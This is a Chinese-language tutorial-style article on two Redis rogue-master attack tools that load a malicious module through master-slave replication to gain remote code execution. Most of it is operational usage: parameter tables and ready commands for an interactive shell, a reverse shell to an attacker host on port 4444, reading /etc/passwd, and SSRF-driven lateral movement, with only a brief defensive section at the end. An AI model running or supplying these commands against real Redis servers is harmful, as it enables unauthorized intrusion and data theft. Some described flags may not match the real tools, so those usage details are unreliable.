工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》

1. 核心功能与攻击场景

  • redis-rogue-server

    基于Redis主从复制漏洞(CVE未公开),针对Redis 4.x~5.0.5版本设计,通过伪造恶意主节点强制同步恶意模块(.so文件)实现远程代码执行(RCE)。

    • 适用场景
      • 主动模式:攻击外网暴露的未授权Redis或已知弱密码的实例,直接建立主从关系。
      • 被动模式:通过SSRF或内网横向移动,诱导目标Redis反向连接攻击者控制的恶意主节点。
    • 技术特点
      • 内置编译好的恶意模块(如exp.so),支持生成反弹Shell或执行系统命令。
      • 支持交互式Shell(直接命令执行)或反向Shell(绕过防火墙限制)。
  • Awsome-Redis-Rogue-Server

    在原版基础上优化,支持更复杂的Redis认证场景(如存在密码保护的实例),并修复部分兼容性问题。

    • 核心改进
      • 增加对密码认证Redis实例的利用能力,通过--passwd参数指定密码。
      • 优化模块加载逻辑,减少因网络波动导致的同步失败。
    • 应用场景
      • 针对企业内网中配置了密码但未限制主从复制的Redis实例。
      • 结合Redis横向渗透工具(如RedisScanner)批量探测并攻击。

2. 使用流程与工具差异

对比项 redis-rogue-server Awsome-Redis-Rogue-Server
依赖文件 需预编译.so模块(或使用自带exp.so 同左,但优化模块兼容性
密码支持 有限支持(需手动修改代码或参数) 原生支持--passwd参数指定密码
攻击模式 主动/被动模式 同左,增加对认证流程的自动化处理
适用Redis版本 4.x-5.0.5 扩展至部分5.0.5+版本(需测试)
典型命令 python3 redis-rogue-server.py --rhost <目标IP> python3 redis_rogue_server.py -rhost <目标IP> -passwd <密码>

3. 防御建议与漏洞修复

  • 禁用高危命令 :通过rename-command重命名或禁用MODULESLAVEOF等指令。
  • 强制认证 :设置requirepass强密码,并启用masterauth保证主从通信安全。
  • 网络隔离:限制Redis端口仅对可信IP开放,避免暴露公网。
  • 升级修复:升级至Redis 7.4.2+/7.2.7+修复Lua引擎漏洞(如CVE-2024-46981)。

总结

两者均利用Redis主从复制的设计缺陷实现RCE,但Awsome-Redis-Rogue-Server 更适用于复杂认证环境,而redis-rogue-server更适合快速测试未授权场景。防御需结合访问控制、日志监控与版本升级,避免恶意模块加载和横向渗透。


redis_rogue_server.py 参数解析

该文件位于Awsome-Redis-Rogue-Server项目中。

1. 基本参数
参数 描述 示例
-rhost 目标Redis服务器的IP地址。 -rhost 192.168.1.100
-rport 目标Redis服务器的端口(默认6379)。 -rport 6379
-lhost 攻击者主机的IP地址(用于反向Shell或模块同步)。 -lhost 10.0.0.1
-lport 攻击者主机的监听端口(默认15000)。 -lport 21000
-passwd Redis实例的认证密码(若目标Redis设置了密码)。 -passwd redis123
-sofile 指定恶意模块文件(如exp.so)。 -sofile ./exp.so
-path 指定恶意模块文件路径(如 exp.so),该模块通常包含远程代码执行函数(如 system.exec),程序到路径中加载文件。 -path exp.so
-v 详细输出模式,用于显示攻击过程中的调试信息,如连接状态、命令执行细节、模块加载进度等。 -v
2. 高级参数
参数 描述 示例
--command 直接执行系统命令(无需加载模块)。 --command "id"
--function 调用模块中的特定函数(如system.exec)。 --function system.exec
--backupfile 指定目标Redis持久化文件的备份路径(用于恢复数据)。 --backupfile /tmp/dump.rdb
--interactive 启用交互式Shell(加载模块后)。 --interactive
3. 使用示例
bash 复制代码
# 主动模式(外网/已知密码):加载 exp.so 模块,获取交互式 
# 功能:通过主从复制加载恶意模块,直接进入交互式 Shell。
# 场景:外网 Redis 未授权或已知弱密码。
Shell python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd redis123 -sofile exp.so --interactive


# 被动模式(内网/SSRF诱导):仅启动恶意主节点,等待目标 Redis 反向连接 
# 功能:通过 SSRF 或内网横向移动诱导目标 Redis 连接恶意主节点。
# 场景:目标 Redis 处于内网且无法直接访问。
python3 redis_rogue_server.py --server-only -lhost 10.0.0.1 -lport 21000


# 反向 Shell 反弹:监听 4444 端口,触发目标反弹 Shell 
# 功能:利用模块中的 `system.rev` 函数建立反向 Shell。
# 场景:绕过防火墙限制或权限维持。
python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev


# 快速命令执行:直接执行系统命令(无需加载模块)
# 功能:快速验证漏洞或执行单条命令。
# 场景:应急响应或自动化渗透测试。
python3 redis_rogue_server.py -rhost 192.168.1.100 -command "cat /etc/passwd"


# 调用自定义模块的特定函数:
# 说明:适用于绕过 WAF 或实现隐蔽攻击。
python3 redis_rogue_server.py -rhost 192.168.1.100 -sofile custom.so --function custom_cmd --command "rm -f /tmp/lock"


# 攻击前备份目标 Redis 数据 
# 说明:避免攻击导致业务中断,需提前验证备份文件完整性。
python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/dump.rdb
4. 注意事项
  • 恶意模块exp.so 需提前编译,包含 system.exec 等函数。
  • 网络权限 :确保攻击者主机(lhost)可被目标Redis访问(用于反向Shell或模块同步)。
  • 数据备份 :攻击前建议备份目标Redis数据(--backupfile),避免数据丢失。
相关推荐
Rocket MAN3 分钟前
在 Ubuntu 中配置 Samba 实现「特定用户可写,其他用户只读」的共享目录
网络·windows·ubuntu
Nina_71719 分钟前
python简易实现勒索病毒
网络·python·网络安全
小马爱打代码30 分钟前
Nginx+Lua+Redis实现灰度发布
redis·nginx·lua
真智AI1 小时前
构建安全的机器学习推理API:基于FastAPI的用户认证与管理实战
安全·机器学习·fastapi
胡耀超2 小时前
内网渗透技术全面指南——安全业务视角(基于《内网渗透技术 (吴丽进、苗春雨 主编;郑州、雷珊珊、王伦 副主编)》)
linux·windows·安全·web安全·网络安全·内网渗透·安全治理
dancing9992 小时前
linux下的Redis的编译安装与配置
linux·运维·redis
Mr-Apple2 小时前
Decode rpc invocation failed: null -> DecodeableRpcInvocation
网络·网络协议·rpc
IpdataCloud2 小时前
IP 风险画像如何实现对恶意 IP 的有效拦截?
网络·网络协议·tcp/ip
运维有小邓@3 小时前
比较入站和出站防火墙规则
服务器·网络·php
IT小饕餮3 小时前
MUX-vlan
网络